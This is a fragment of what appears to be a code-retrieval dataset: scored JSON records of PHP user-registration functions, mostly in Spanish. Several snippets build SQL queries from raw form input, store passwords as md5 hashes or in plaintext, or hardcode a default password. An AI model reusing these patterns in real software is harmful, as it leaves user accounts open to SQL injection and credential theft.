campos!');\n\t\t\treturn Redirect::back();\n\t\t}\n\n\t\tif(Usuario::where('usuario', '=', $post['usuario'])->count() != 0){\n\t\t\tSession::flash('mensaje', '¡El usuario ya está registrado!');\n\t\t\treturn Redirect::back();\n\t\t}\n\n\t\t$persona = new Persona();\n\t\t$persona->Nombres = $post['nombre'];\n\t\t$persona->Apellidos = $post['apellidos'];\n\t\t$persona->DNI = $post['dni'];\n\t\t$persona->Telefono = $post['telefono'];\n\t\t$persona->Celular = $post['celular'];\n\t\t$persona->email = $post['email'];\t\n\t\t$persona->Direccion = $post['direccion'];\t\t\n\t\t$persona->estado = 1;\t\n\t\t$persona->foto = '';\n\t\t$persona->iddistrito = $post['distrito'];\n\t\t$persona->save();\t\t\n\n\t\t$usuario = new Usuario();\n\t\t$usuario->Usuario = $post['usuario'];\n\t\t$usuario->Password = Hash::make($post['contrasena']);\n\t\t$usuario->idPersona = $persona->idPersona;\n\t\t$usuario->id_tipousuario = $post['tipo_usuario'];\n\t\t$usuario->save();\n\n\t\tif($post['tipo_usuario'] == 2){\n\t\t\tdate_default_timezone_set('America/Lima');\n\t\t\t$dist = new Distribuidores();\n\t\t\t$dist->FechaIngreso = date('Y-m-d');\n\t\t\t$dist->idPersona = $persona->idPersona;\n\t\t\t$dist->idDistribuidorReferido = 0;\n\t\t\t$dist->idRangoDistribuidor = $post['rango_distribuidor'];\n\t\t\t$dist->save();\n\t\t}\n\t\treturn 'Usuario registrado correctamente.';\n\t}", "title": "" }, { "docid": "6c118867da45858c88de5b3251a5cc61", "score": "0.68309146", "text": "public function newUser(Request $request, Response $response){\n\n $nombre = $request->getParam('nombre');\n $telefono = (string)$request->getParam('telefono');\n $direccion = $request->getParam('direccion');\n $email = $request->getParam('email');\n $username = $request->getParam('username');\n $pass = $request->getParam('pass');\n\n $sql = \"INSERT INTO usuarios (nombre, telefono, direccion, email, username, pass) VALUES\n (:nombre, :telefono, :direccion, :email, :username, :pass)\";\n\n try{\n\n $db = new db();\n $db = $db->connectionDB();\n\n $resultado = $db->prepare($sql);\n\n if($resultado->execute(array(\n 'nombre' => $nombre,\n 'telefono' => $telefono,\n 'direccion' => $direccion,\n 'email' => $email,\n 'username' => $username,\n 'pass' => md5($pass),\n )))\n echo json_encode(array('mensaje' => 'Usuario agregado'));\n else\n echo json_encode(array('mensaje:'=> 'Error al agregar usuario'));\n\n $resultado->closeCursor();\n $resultado = null;\n $db = null;\n\n\n }catch(PDOException $e){\n echo '{\"error\" : { \"text\": \"'.$e->getMessage().'\",\"sql\": \"'.$sql.'\"}';\n }\n }", "title": "" }, { "docid": "6e4cb3bef50051d6810ae9362fdbfc86", "score": "0.68197393", "text": "public function postCreate()\n\t{\n\t\t$input = Input::all();\n\t\t$input['password'] = Hash::make($input['password']);\n\t\t$usuario = Usuario::create($input);\n\t\treturn Redirect::to('/usuarios');\n\t}", "title": "" }, { "docid": "3e51d543385dcc066a879133e93f8621", "score": "0.6812328", "text": "public function new_user()\n\t{\n\t\t\t\t$usuario = $this->input->post('usuario');\n\t\t\t\t$password = '$M$Sy5$rd' . sha1($this->input->post('password')) . '$$u';\n\t\t\t\t$check_user = $this->login_user($usuario,$password);\n\n\t\t\t\t// var_dump($check_user);\n\t\t\t\tif($check_user)\n\t\t\t\t{\n\t\t\t\t\t$data = array(\n\t 'is_logued_in' \t=> \t\tTRUE,\n\t 'usuarioID' \t=> \t\t$check_user->usuarioID,\n\t 'nivel'\t\t\t=>\t\t$check_user->nivel,\n\t 'usuario' \t\t=> \t\t$check_user->usuario,\n\t 'nombre' \t\t=> \t\t$check_user->nombre,\n\t 'apellido'\t\t=>\t\t$check_user->apellido,\n\t 'direccion' \t=> \t\t$check_user->direccion,\n\t 'correo' \t\t=> \t\t$check_user->correo,\n\t 'sexo'\t\t\t=>\t\t$check_user->sexo,\n\t 'cuotas' \t\t=> \t\t$check_user->cuotas,\n\t 'fechaInst' \t=> \t\t$check_user->fechaInst,\n\t 'foto_avatar'\t=>\t\t$check_user->foto_avatar,\n\t\t\t\t\t'foto_perfil'\t=>\t\t$check_user->foto_perfil\n \t\t);\t\t\n\t\t\t\t\t$this->session->set_userdata($data);\n\t\t\t\t\t$this->index();\n\t\t\t\t}\n\t\t\tredirect(base_url().'login');\n\t\t\n\t}", "title": "" }, { "docid": "fafbd52c0bbd70bce9e1d0b29f63e4bd", "score": "0.68107945", "text": "public function save(){\n if(isset($_POST)){\n\n $nombre = isset($_POST[\"nombre\"]) ? $_POST[\"nombre\"] : false;\n $apellidos = isset($_POST[\"apellidos\"]) ? $_POST[\"apellidos\"] : false;\n $email = isset($_POST[\"email\"]) ? $_POST[\"email\"] : false;\n $password = isset($_POST[\"password\"]) ? $_POST[\"password\"] : false;\n\n\n\n if($nombre && $apellidos && $email && $password){\n \n $usuario= new Usuario(); \n $usuario->setNombre($nombre);\n $usuario->setApellidos($apellidos);\n $usuario->setEmail($email);\n $usuario->setPassword($password);\n /* llamo al metodo que tengo en el modelo para guardar el usuario */\n $save= $usuario->save();\n /* condicion por si el metodo save falla */\n if($save){\n /* cuando el registro esté correcto, abri una session */\n $_SESSION['register']= \"complete\";\n }else{\n $_SESSION['register']= \"failed\"; \n }\n }else{\n $_SESSION['register']= \"failed\"; \n }\n\n }else{\n $_SESSION['register']= \"failed\"; \n }\n /* para redirigir */\n header(\"Location:\".base_url.'usuario/registro');\n }", "title": "" }, { "docid": "418f780a77f7e813a5d84f8e9b24fddc", "score": "0.6801285", "text": "public function store(Request $request) // almacena los datos que son pasados por el form\n {\n $credentials = Request()->validate([ //validar los datos\n 'name' => ['required'],\n 'carnet' => ['required'],\n 'email' => ['required'],\n 'password' => ['required'],\n\n ]);\n $tipo_vendedor = $request['tipo_vendedor'];\n $tipo_visita = $request['tipo_visita'];\n $tipo_cliente = $request['tipo_cliente'];\n $tipo_administrador = $request['tipo_administrador'];\n if($tipo_vendedor==null)\n $tipo_vendedor=0;\n else\n $tipo_vendedor=1;\n if($tipo_visita==null)\n $tipo_visita=0;\n else\n $tipo_visita=1;\n if($tipo_cliente==null)\n $tipo_cliente=0;\n else\n $tipo_cliente=1;\n if($tipo_administrador==null)\n $tipo_administrador=0;\n else\n $tipo_administrador=1;\n\n $user= User::create([\n 'name'=>request('name'),\n 'carnet'=>request('carnet'),\n 'email'=>request('email'),\n 'password'=> bcrypt(request('password')),\n 'tipo_vendedor'=>$tipo_vendedor,\n 'tipo_visita'=>$tipo_visita,\n 'tipo_cliente'=>$tipo_cliente,\n 'tipo_administrador'=>$tipo_administrador,\n 'url_foto'=>null,\n 'estado'=>1,\n ]);\n BitacoraController::store($user->id);\n NotaController::store(Auth::user()->id,'El administrador creo un nuevo usuario');\n //NotaController::store($user->id,'El usuario fue creado correctamente');\n // NotaUsuario::crear($user,'Usuario creado');\n\n return redirect()->route('user.index');\n }", "title": "" }, { "docid": "997c65b8d2cc6cdd511fd90bb88ca658", "score": "0.679431", "text": "public function register()\n\t{\n\t\t// validamos que existan los campos\n\t\t$errors = $this->validate( $_POST, [\n\t\t\t'name|nombre' => 'required',\n\t\t\t'username|usuario' => 'required|unique:users',\n\t\t] );\n\n\t\tif( $errors )\n\t\t{\n\t\t\techo $this->errors();\n\t\t\treturn;\n\t\t}\n\t\t// validamos que sea una peticion por post\n\t\t$this->__post();\n\t\t// validamos si existe o le definimos un valor\n\t\t$_POST['password'] = isset( $_POST['password'] ) ? $_POST['password'] : '';\n\t\t$_POST['nameE'] = isset( $_POST['nameE'] ) ? $_POST['nameE'] : '';\n\t\t// realizamos la peticion al modelo de cerrar sesion\n\t\t$login = $this->auth->register( $_POST['name'], $_POST['username'], $_POST['password'], $_POST['nameE'], $_POST['role'] );\n\t\t// explotamos el resultado\n\t\t$login = explode(\"|\", $login);\n\t\t// validamos si se logueo o no\n\t\tif( $login[0] != 'logueado' )\n\t\t{\n\t\t\t// agregamos a las variables de error la respuesta del servidor\n\t\t\tarray_push($this->errors, $login[0]);\n\t\t\t// agregamos los errores obtenidos desde la peticion hecha al model\n\t\t\techo $this->errors();\n\t\t\treturn;\n\t\t}\n\t\telse{\n\t\t\t// retornamos a la vista de acceso cuando se satisfatorio el logueo\n\t\t\techo \"true|\".$login[1];\n\t\t}\n\t}", "title": "" }, { "docid": "fa70557486b3d40e8cc2e83ba5045146", "score": "0.6786068", "text": "public function registrarUsuario()\n {\n $datos = array();\n\n //guardamos los datos del formulario en un array \n foreach ($_POST as $clave => $valor) {\n $datos[$clave] = $valor;\n }\n\n //añadimos una clave por defecto y generamos el ciu\n $datos['clave'] = hash('sha512', \"12345678\");\n $datos['ciu'] = self::generarCiu($datos['nombre'], $datos['apellidos'], $datos['fecha_nacimiento']);\n\n //insertamos los datos y mostramos un error en funcion de si ha habido error o no\n echo $this->Usuarios_model->registrarUsuario($datos) ? 1 : 0;\n }", "title": "" }, { "docid": "c8120618b617e137f473f141f51d29d4", "score": "0.67836374", "text": "public function inserir() {\n $this->load->model('Usuario_model', 'usuario');\n\n //Recebe os dados da view de usuario\n $data['login'] = $this->input->post('login');\n $data['senha'] = md5($this->input->post('senha'));\n $data['codAluno'] = $this->input->post('codAluno');\n $data['nivel'] = 1;\n\n if ($this->usuario->inserirUsuario($data)) {\n redirect('Painel_controller/login');\n }\n }", "title": "" }, { "docid": "6a7ac356e656791652f372a46b58d7f9", "score": "0.6783616", "text": "public function store(CreateUsuarioRequest $request)\n {\n $empresa_id = $request->EMPRESA_ID;\n $codigoProveedorSap = $request->codigoProveedorSap;\n //dd($request->all());\n\n $usuario = new User();\n\n $usuario->nombre = $request->nombre;\n $usuario->email = $request->email;\n $usuario->password = bcrypt($request->password);\n $usuario->tel_codpais = $request->tel_codpais;\n $usuario->telefono = $request->telefono;\n //$usuario->usersap_id = $request->usersap_id;\n $usuario->activo = $request->activo;\n $usuario->anulado = $request->anulado;\n\n if ($usuario->anulado === null) {\n $usuario->anulado = 0;\n }\n\n $usuario->save();\n\n /** Esto debe ser reubicado queda pendiete\n UsuarioEmpresa::insert( ['USER_ID' => $usuario->id, 'EMPRESA_ID' => $empresa_id, 'CODIGO_PROVEEDOR_SAP' => $codigoProveedorSap, 'ANULADO' => 0] );\n **/\n\n return redirect::to('usuarios');\n\n }", "title": "" }, { "docid": "e6d56a676e07a26d191bf12c8000e961", "score": "0.67820865", "text": "public function save_user()\n\t{\n $user= new Users();\n $user->setNom($_POST['nom']);\n $user->setPrenom($_POST['prenom']);\n $user->setDate_naissance($_POST['date_naiss']);\n $user->setEmail($_POST['mail']);\n $user->setPassword($_POST['pwd']); \n\n $user->Create_user();\n\t}", "title": "" }, { "docid": "1be889837405164ce7342f8b1334fd56", "score": "0.67806506", "text": "function newUser($username,$password,$id,$rol){\n \n \n \n //validate data\n $user = new UserModel();\n $user->setLogin($username);\n $user->setPassword($password);\n $user->setRole($rol);\n $user->setId($id);\n //$user->save();\n \n return $user->save();\n //$this->errorAtSignup('Error al registrar el usuario. Elige un nombre de usuario diferente');\n \n //return;\n \n //$this->view->render('login/index');\n \n \n \n }", "title": "" }, { "docid": "36025f4292d927fdfe8fc3a21a35a9c9", "score": "0.6779911", "text": "public function store(Request $request)\n {\n //CREA USUARIO\n $user = \\PruebaHotel\\User::create([\n //consulta variales en app/User.php\n 'name' => $request['nombres'],\n 'email' => $request['email'],\n 'password' => bcrypt($request['clave'])\n ]);\n if($user){\n Session::flash('registro-exitoso', 'Te has registrado con exito. Ahora inicia sesion.');\n return redirect('iniciar-sesion');\n }\n else{\n return 'Algo salio mal.';\n }\n }", "title": "" }, { "docid": "591d858948101a4f9bb773820f76f509", "score": "0.6778993", "text": "public function create()\n\t{\n\t\t$user = new User;\n\n\t\t$user->username \t\t= Input::get('username');\n\t\t$user->password \t\t= Hash::make(Input::get('password'));\n\t\t$user->email \t\t \t= Input::get('email');\n\n\t\t$user->save();\n\n\t\treturn Redirect::to('user/add')->with('sukses', 'Data User Sudah Tersimpan');\n\t}", "title": "" }, { "docid": "6d2e5e7fee523d2e014bcdd119be58c0", "score": "0.6778674", "text": "public function store(Request $request)\n {\n $request->validate([\n 'name' => 'required',\n 'email' => 'email|required',\n 'password' => 'required'\n ]);\n \\DB::table('bitacora')->insert(\n [\n 'id_user' => Auth::user()->id,\n 'ip' => request()->ip(),\n 'log' => \"Se ha registrado un nuevo usuario: \".ucwords(strtolower($request->name)),\n 'fecha' => date(\"Y-m-d\")\n ]\n );\n $validate_user = User::all()->where('email','like',$request->email);\n if($validate_user->isEmpty()){\n $usuario = new User;\n $usuario->id_rol = $request->rol;\n $usuario->name = ucwords(strtolower($request->name));\n $usuario->email = $request->email;\n $usuario->password = bcrypt($request->password);\n\n if($usuario->save()){\n $usuario->assignRole($request->rol);\n }\n Session::flash('message','Usuario Creado correctamente');\n return redirect()-> route('usuario.index');\n }else{\n Session::flash('message','Lo Sentimos ya existe un Usuario con este Correo');\n $roles= Role::all()->pluck('name','id');\n return view('auth.create_user',compact('roles'));\n }\n }", "title": "" }, { "docid": "cacfce29b427ae87d513caa6f70fade0", "score": "0.67760074", "text": "public function createAction()\n {\n $user = new User(); // New user object\n $em = $this->getDoctrine()->getManager(); // Gettting the doctrine manager to make the database persistance\n $em->persist($user); // Persistance called\n $em->flush(); // INSERT\n return new Response('Utilisateur créé : '.$user->getId());\n }", "title": "" }, { "docid": "52ca6cacae894d5b1efff20f98c6f007", "score": "0.67546606", "text": "public function guardarUsuario()\n {\n \n //ACCESO A DATOS\n $usu = new Usuario('usuarios');\n if (isset($this->request['usuario']))\n {\n $usu->load(\"id=\".$_SESSION['id']);\n }\n\n $usu->usuario=$this->request['usuario'];\n $usu->password=$this->request['nuevapassword'];\n $usu->fechamodificacion=date('Y-m-d');\n \n \n if($usu->save()){\n $this->cerrarSesion ();\n header('Location: /appnutri/index.php');\n }else echo'<script> \n alert(\"Error. No se pudo cerrar la conexion\") \n window.location=\"/appnutri/index.php\";\n </script>';\n \n }", "title": "" }, { "docid": "c06fa3cc28e6c73110a736fad6dd1bcf", "score": "0.6751322", "text": "function new_user(Utilisateur $user) {\n $query = $this->dbh->prepare(\"INSERT INTO users (pseudo, password, email, reg_date) \" .\n \"VALUES (:pseudo, :password, :email, :reg_date);\");\n $query->bindValue(':pseudo', $user->getNom());\n $query->bindValue(':password', $user->getPassword());\n $query->bindValue(':email', $user->getEmail());\n $query->bindValue(':reg_date', 'NOW()');\n $query->execute();\n return TRUE;\n }", "title": "" }, { "docid": "cde02abfb0ad72143a5a51b5eff8ae43", "score": "0.6748852", "text": "public function registerUser(){\r\n\t\t$name = $_POST['register_name'];\r\n\t\t$email = $_POST['register_email'];\r\n\t\t$password = $_POST['register_password'];\r\n\r\n\t\t$sql = \"INSERT INTO users values (null,?,?,?)\";\r\n\t\t$query = $this->db->prepare($sql);\r\n\t\t$query->execute([$name,$email,$password]);\r\n\t\t//ako je registracija uspela pojavice se div u formu sa ispisom notifikacije!!!\r\n\t\tif ($query) {\r\n\t\t\t$this->register_result=true;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "bcb37807cd8f34c2ad3789035f756256", "score": "0.6739775", "text": "function registrarUsuario($nombre,$apellidos,$email,$edad,$puntos,$passW)\n {\n $consulta =\"INSERT INTO usuario (nombre,apellidos,email,edad,puntos,password) VALUES ('$nombre','$apellidos','$email',$edad,$puntos,'$passW')\";\n if($this->conexion->query($consulta))\n {\n \n }else{ \n echo \"Falló la creación de la tabla: (\" . $this->conexion->errno . \")// \" . $this->conexion->error.\"<br>\";\n }\n }", "title": "" }, { "docid": "8132ade615c44ffa553e607eac0a95dc", "score": "0.6737314", "text": "public function store(UsuarioFormRequest $request){\n \n $usuario = new User;\n $usuario->nombre=$request->get('nombre');\n $usuario->email=$request->get('email');\n $usuario->password=bcrypt($request->get('password'));\n $usuario->estado=\"Activo\";\n $usuario->rol=$request->get('rol');\n $usuario->save();\n \n \n return Redirect::to('sispazysalvos/usuario');\n }", "title": "" }, { "docid": "982f3c9273d985496a3a7ac04053847b", "score": "0.6736216", "text": "function newUser($data){\n\t\t$this->db->insert('usuarios', array(\n\t\t\t\t\t\t\t\t\t\t\t'rol' \t\t=> $data['rol'],\n\t\t\t\t\t\t\t\t\t\t\t'nombre' \t=> $data['nombre'],\n\t\t\t\t\t\t\t\t\t\t\t'empresa' \t=> $data['empresa'],\n\t\t\t\t\t\t\t\t\t\t\t'direccion' => $data['direccion'],\n\t\t\t\t\t\t\t\t\t\t\t'tel' \t\t=> $data['tel'],\n\t\t\t\t\t\t\t\t\t\t\t'cif' \t\t=> $data['cif'],\n\t\t\t\t\t\t\t\t\t\t\t'mail' \t\t=> $data['mail'],\n\t\t\t\t\t\t\t\t\t\t\t'password' \t=> $data['password']\n\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t}", "title": "" }, { "docid": "1d4ad14da8c159311de8a16b211a38ba", "score": "0.6734245", "text": "function register()\n\t\t{\n\n\t\t if(!empty($_POST['email']) && !empty($_POST['password'])&& !empty($_POST['nombre'])){\n\n\t\t $email=filter_input(INPUT_POST, 'email', FILTER_SANITIZE_STRING);\n\t\t $password=filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);\n\t\t $name=filter_input(INPUT_POST, 'nombre', FILTER_SANITIZE_STRING);\n\t\t $new_user=$this->model->register($email,$password,$name);\n\n\t\t if ($new_user == TRUE){ \n\t\t // cap a la pàgina principal\n\t\t header('Location:'.APP_W.'home');\n\t\t }\n\t\t else{\n\t\t // no hi és l'usuari, cal registrar\n\t\t header('Location:'.APP_W.'register');\n\t\t }\n\t\t \t\t}\n\t\t}", "title": "" }, { "docid": "149220f26b9808d5e38b58b7f36975ae", "score": "0.6716074", "text": "public function nuevoUsuario($email,$password){\n\t\tif(isset($email)&&empty($email)) {\n\t\t\tif(isset($password)&&empty(($password))){\n\t\t\t\treturn 'error';\n\t\t\t}\n\t\t} else {\n\t\t\t$db = new Conexion();\n\t\t $sql = \"SELECT*FROM registros WHERE correo='$email' AND contrasena='$password'\";\n\t\t $result = $db->query($sql);\n\t\t if($result->num_rows > 0){\n\t\t\t\treturn 'error';\n\t\t } else {\n\t\t\t\t$db = new Conexion();\n\t\t \t$sql = \"INSERT INTO registros (correo,contrasena) VALUES ('$email','$password')\";\n\t\t \t\t$nuevoUsu = $db->query($sql);\n\t\t \t\t$sql2 = \"SELECT @@IDENTITY FROM registros \";\n\t\t \t\t$posi= $db->query($sql2);\n\t\t \t\t$posicion = mysqli_fetch_all($posi);\n\t\t \t\t$posReg = $posicion[0][0];\n $sql3 = \"INSERT INTO usuarios (nombre,apellido,genero,fechaNacimiento,idEstado,idTipoUsuario,idRegistros) VALUES ('nombre','apellido','genero','cumpleaños','1','3','$posReg')\";\n\t\t \t\t$db->query($sql3);\n\t\t \t\t\n\t\t\t}\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "18932fc0578ec44cec35e8d56dfe353f", "score": "0.6714523", "text": "public function new_user( $data ){\n\t\t$query =\n\t\t'INSERT INTO Usuario\n\t\t(\tUsuarioAcceso,\n\t\t\tUsuarioPassword,\n\t\t\tUsuarioEmail,\n\t\t\tNivelUsuId,\n\t\t\tTipoUsuId,\n\t\t\tUsuarioNombre,\n\t\t\tUsuarioApellidos,\n\t\t\tFacultadId,\n\t\t\tLicenciaturaId\n\t\t)\n\t\tVALUES ( ?,?,?,?,?,?,?,?,? )\n\t\t';\n\t\t// Valores\n\t\t$values = array(\n\t\t\t$data['username'],\n\t\t\t$data['pass'],\n\t\t\t$data['email'],\n\t\t\t$data['nivel'],\n\t\t\t$data['tipo'],\n\t\t\t$data['nombre'],\n\t\t\t$data['apellidos'],\n\t\t\t$data['facultad'],\n\t\t\t$data['licenciatura']\n\t\t);\n\n\t\t$result = $this->db->query( $query,$values );\n\n\t\treturn $this->db->insert_id();\n\t}", "title": "" }, { "docid": "bb06680bc471c267028b85affdbb8400", "score": "0.6707686", "text": "public function createUsuario()\n {\n $hash = password_hash($this->contra, PASSWORD_DEFAULT);\n $sql = 'INSERT INTO administradores(nombre, apellido, correo, usuario, contra)\n VALUES(?, ?, ?, ?, ?)';\n $params = array($this->nombre, $this->apellido, $this->correo, $this->usuario, $hash);\n return Database::executeRow($sql, $params);\n }", "title": "" }, { "docid": "5c1d55bf1f06009242fa422ad6267414", "score": "0.66978544", "text": "public function creat_new_user()\n {\n \n factory(User::class)->create();\n $respone=$this->post('/admin/category/create',[\n 'name' => 'Tuan',\n 'email' => 'tuan@gmail.com',\n 'email_verified_at' => now(),\n 'active'=>1,\n 'password' => '2', // password\n 'remember_token' => Str::random(10),\n ]);\n // $this->assertCount(8,User::all());\n }", "title": "" }, { "docid": "bcbfb7831eee51674d4b4ec9eacbd34f", "score": "0.6694705", "text": "static function addUser(){\n\n $controller = new UserController();\n $validation = $controller->signupValid();\n\n if($validation === \"OK\"){\n $base = new ConnexionDb;\n\n $base->query(\"INSERT INTO user(username, firstname, email, pass, valid)\n VALUES (:username, :firstname, :email, :pass, 1)\",\n array(\n array('username',$_POST['username'],\\PDO::PARAM_STR),\n array('firstname',$_POST['firstname'],\\PDO::PARAM_STR),\n array('email',$_POST['email'],\\PDO::PARAM_STR),\n array('pass',$_POST['pass'],\\PDO::PARAM_STR)\n )\n );\n // $userM = new User($_POST);\n\n }else{\n echo 'erreur d\\'inscription';\n }\n }", "title": "" }, { "docid": "d9c139c37bee66903cd2921b0d4122ab", "score": "0.669453", "text": "function nuevoUsuario($arrayData, $arrayPerfil){\n\t\t/*\n\t\tIngresa un nuevo usuario. Una vez grabado, deben actualizarse sus datos de\n\t\tpertenencia a perfiles de acuerdo a lo seleccionado en el formulario\n\t\t*/\n\t\t$existeUsu=$this->checkUsernameExists($arrayData['user_name']);\n\t\t//$existePass=$this->checkPasswordExists($arrayData['user_pass']);\n\t\t\n\t\tif($existeUsu){\n\t\t\t$this->aErrors[]='El nombre de usuario ya fue utilizado';\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$idUsuario=$this->insert($arrayData);\n\t\tif ($idUsuario){\n\t\t\t$okPerfilUsuario=$this->actualizarPerfilesUsuario($arrayPerfil,$idUsuario);\n\t\t}\n\t\treturn $idUsuario;\n\t}", "title": "" }, { "docid": "d4f9fe7c2f06296aafdfc48f29611b31", "score": "0.6693981", "text": "public function nuevo() {\n // Create a new post without validating.\n $new_post = Post::create(['author_id' => $this->current_user->id], false);\n redirect('/backend/posts/edit', [], ['id' => $new_post->id]);\n }", "title": "" }, { "docid": "a7f6608428b1f83ebf1a75169d787d27", "score": "0.66922414", "text": "protected function create()\n {\n// dd(request());\n // create new user in database\n $newUser = User::create([\n 'name' => \\request('name'),\n 'email' => \\request('email'),\n 'student_id' => \\request('student_id'),\n 'phone' => \\request('phone'),\n 'password' => bcrypt(\\request('password')),\n 'remember_token' => \\request('_token'),\n ]);\n\n\n //login the new user\n\n auth()->login($newUser);\n\n }", "title": "" }, { "docid": "6c55ee56710bead4032b1f181f6ac752", "score": "0.6687455", "text": "public function saveUsuario(){\n\t\t$conexion = new Database();\n if ($this->codigo){\n $query = sprintf('UPDATE agenda_usuario SET usuario = \"%s\" password = \"%s\" WHERE usuario_id = %d',\n $this->usuario,\n $this->password,\n $this->codigo);\n $rows = $conexion->exec( $query );\n }\n else{\n $query = sprintf('INSERT INTO agenda_usuario ( usuario, password) VALUES (\"%s\", \"%s\")',\n $this->usuario,\n $this->password );\n\t\t\t$rows = $conexion->exec( $query );\n $this->codigo = $conexion->lastInsertId();\n }\n }", "title": "" }, { "docid": "df4cdef7d743dc568b5aa1e992f2bbe6", "score": "0.66840905", "text": "public function create(Request $r){\n $usuario = new User();\n $usuario->name = $r->input(\"nombre\");\n $usuario->email = $r->input(\"email\");\n $usuario->password = bcrypt($r->input(\"password\"));\n $usuario->rol = $r->input(\"rol\");\n\n\n if($r->input(\"pnichos\") != null)\n {\n $usuario->nichos = 1;\n }\n\n if($r->input(\"ppanteones\") != null)\n {\n $usuario->panteones = 1;\n }\n\n if($r->input(\"pcalles\") != null)\n {\n $usuario->calle = 1;\n }\n\n if($r->input(\"pdifuntos\") != null)\n {\n $usuario->difuntos = 1;\n }\n\n if($r->input(\"precibos\") != null)\n {\n $usuario->recibos = 1;\n }\n\n if($r->input(\"pfacturas\") != null)\n {\n $usuario->facturas = 1;\n }\n\n if($r->input(\"ptarifas\") != null)\n {\n $usuario->tarifas = 1;\n }\n\n if($r->input(\"plibro\") != null)\n {\n $usuario->libro_registros = 1;\n }\n\n if($r->input(\"pusuarios\") != null)\n {\n $usuario->usuarios = 1;\n }\n\n $usuario->save();\n\n }", "title": "" }, { "docid": "6f21d8622f741a181f100ec978ff982e", "score": "0.6684013", "text": "public function create()\n {\n if(\\Auth::user()) {\n if(\\Auth::user()->editado != 0) {\n \\Auth::logout();\n session()->flush();\n return redirect('/login')->withErrors('Sua conta foi alterada. Por favor faça login novamente');\n }\n }\n\n return view('pages.users.create',\n ['section_title' => 'Novo Usuário']);\n }", "title": "" }, { "docid": "856b45baff7b9529e70b41d4b0d60148", "score": "0.66838336", "text": "public function create()\n {\n $this->resetFields();\n //DAN MEMBUKA AREA\n $this->openUser();\n }", "title": "" }, { "docid": "8e3a8655680e1c08a0d1cf54f7b3867b", "score": "0.66826487", "text": "public function insertarUser($email,$pass,$nombre,$apellidos){\n\n if ($this->hayError()==true){\n return null;\n\n }else{\n\n $sqlInserction=\"INSERT INTO usuarios(id,usuario,nombre,apellidos,email,rol,pass) VALUES (NULL,'\".$email.\"','\".$nombre.\"','\".$apellidos.\"','\".$email.\"',NULL,'\".sha1($pass).\"')\";\n\n $this->conexion()->query($sqlInserction);\n }\n\n }", "title": "" }, { "docid": "c5dfe636c815650b3bf4bbe13d1af00f", "score": "0.6673991", "text": "public function create(){\n\t\t$this->autenticate();\n\t\t$user_id = $_POST['id'];\n\t\t$nombre = \"'\".$_POST['nombre'].\"'\";\n\t\t$cedula = \"'\".$_POST['cedula'].\"'\";\n\t\t$nacimiento = \"'2000/1/1'\"; //fecha de nacimiento default, despues el mismo usuario la puede editar\n\t\trequire_once(\"../app/models/administrativo.php\");//conexion entre los controladores\n\t\t$administrativo=new Administrativo();// crea el perfil administrativo vacio\n\t\t$administrativo->new($nombre,$cedula,$nacimiento); // inserta la informacion antes ingresada en la base de datos\n\t\t$administrativo_id = $administrativo->where(\"cedula\",$cedula); // se trae el perfil administrativo recien creado con la cedula\n\t\t$administrativo_id = $administrativo_id[0][\"id\"];\n\t\t$administrativo->attach_user($user_id,$administrativo_id); // amarra el usuario a su nuevo perfil docente\n\t\t$administrativo_id = strval($user_id);//convierte el user_id de entero a string\n\t\theader(\"Location: http://localhost:8000/usuarios/show/$user_id\");\n\t\texit;\n\t\t$this->view('administrativos/index', []);\n\t}", "title": "" }, { "docid": "7b111b8a13a9750f4282858362de0d98", "score": "0.6672759", "text": "private function saveUser(){\n\n if( ! $this->checkEmail() ){\n $password = password_hash($this->_userPassword, PASSWORD_DEFAULT);\n $request = $this->_connexion->prepare(\"INSERT INTO Users (user_name, user_email, user_password) VALUES (?, ?, ?)\");\n $request->execute(array($this->_userName, $this->_userEmail, $password));\n\n return $response = json_encode([\n 'status' => 'ok',\n 'message' => 'successfuly add'\n ]);\n }\n else{\n return $response = json_encode([\n 'status' => 'failed',\n 'message' => 'this email allready exist'\n ]);\n }\n\n }", "title": "" }, { "docid": "32ab0b5e3b6b32acf232b361bddbae3b", "score": "0.6667665", "text": "public function store(EmpresaFormRequest $request)\n {\n $user = new User;\n $user->email = $request->input('mail');\n $user->password = bcrypt( $request->input('password') );\n $user->rol = \"coordinador\";\n $user->save();\n $user = User::where('email', $request->input('mail'))->first();\n\n $empresa=new Empresa;\n //'nombre' es obj creado del request\n $empresa->Nombre=$request->get('Nombre');\n $empresa->Giro=$request->get('Giro');\n $empresa->Direccion=$request->get('Direccion');\n $empresa->Telefono=$request->get('Telefono');\n $empresa->condicion='1';\n $empresa->users_id = $user->id;\n $empresa->save();\n //Después de guardar nos redireccionamos a la carpeta coordinador\n return Redirect::to('revolution/empresa'); \n }", "title": "" }, { "docid": "fa8aa9d995684b52ae0e6ebef575706a", "score": "0.66664803", "text": "function newuser(){\n\t\t\tif(!empty($_POST['newemail']) && !empty($_POST['newpassword']) && !empty($_POST['newnombre']) && !empty($_POST['newpoblacion']) && !empty($_POST['newrol'])){\n\t\t\t\t$poblacion = filter_input(INPUT_POST,'newpoblacion',FILTER_SANITIZE_STRING);\n\t\t\t\t$nombre = filter_input(INPUT_POST,'newnombre',FILTER_SANITIZE_STRING);\n\t\t\t\t$password = filter_input(INPUT_POST,'newpassword',FILTER_SANITIZE_STRING);\n\t\t\t\t$email = filter_input(INPUT_POST,'newemail',FILTER_SANITIZE_STRING);\n\t\t\t\t$rol = filter_input(INPUT_POST,'newrol',FILTER_SANITIZE_STRING);\n\t\t\t\t$list = $this -> model -> adduser($nombre,$password,$email,$poblacion,$rol);\n \t\t$this -> ajax_set(array('redirect'=>APP_W.'admin'));\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "b42cbfc9564f67cf8dfe5d5167016918", "score": "0.6665909", "text": "public function add(){\n\t\tif($this->request->is('post'))\n\t\t{\n\t\t\t$this->User->create();\n\t\t\t$this->request->data['User']['role'] = 'user';\n\t\t\tif($this->User->save($this->request->data))\n\t\t\t{\n\t\t\t\t$this->Session->setFlash('Usuario creado');\n\t\t\t\treturn $this-redirect(array('action' =>'index'));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->Session->setFlash('Usuario no creado');\n\t\t\t}\n\t\t}\n\n\t}", "title": "" }, { "docid": "8b29fe9acd7ea3c3272c0a9857922921", "score": "0.66644216", "text": "public function store_user(Request $request)\n {\n //Genera user, 